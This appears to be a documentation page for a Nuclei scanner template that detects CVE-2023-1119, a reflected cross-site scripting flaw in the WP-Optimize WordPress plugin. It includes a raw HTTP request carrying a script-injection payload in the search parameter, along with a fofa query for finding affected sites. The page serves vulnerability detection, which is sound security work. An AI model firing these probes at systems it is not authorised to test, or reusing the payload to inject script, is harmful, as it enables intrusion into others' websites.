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WP-Optimize WordPress plugin < 3.2.13 - Cross-Site Scripting

ID: CVE-2023-1119

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,wp,wp-plugin,wordpress,wp-optimize,xss

Description

Section titled “Description”

The WP-Optimize WordPress plugin before 3.2.13 and SrbTransLatin WordPress plugin before 2.4.1 are vulnerable to cross-site scripting due to a third-party library that improperly handles HTML character escaping.

YAML Source

Section titled “YAML Source”
id: CVE-2023-1119


info:
  name: WP-Optimize WordPress plugin < 3.2.13 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The WP-Optimize WordPress plugin before 3.2.13 and SrbTransLatin WordPress plugin before 2.4.1 are vulnerable to cross-site scripting due to a third-party library that improperly handles HTML character escaping.
  remediation: Users are recommended to upgrade WP-Optimize to version 3.2.13 and SrbTransLatin to version 2.4.1 to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1119
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1119
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1119
    cwe-id: CWE-79
    cpe: cpe:2.3:a:wp-optimize:wp-optimize:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wordpress
    product: wp-optimize,srbtranslatin
    fofa-query: body="/wp-content/plugins/wp-optimize"
  tags: cve,cve2023,wp,wp-plugin,wordpress,wp-optimize,xss


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/wp-optimize"
        internal: true


  - raw:
      - |
        GET /?s=<%2Fscript><script>alert%28document.domain%29<%2Fscript> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "Search"
        condition: and


      - type: word
        part: body
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-1119.yaml"

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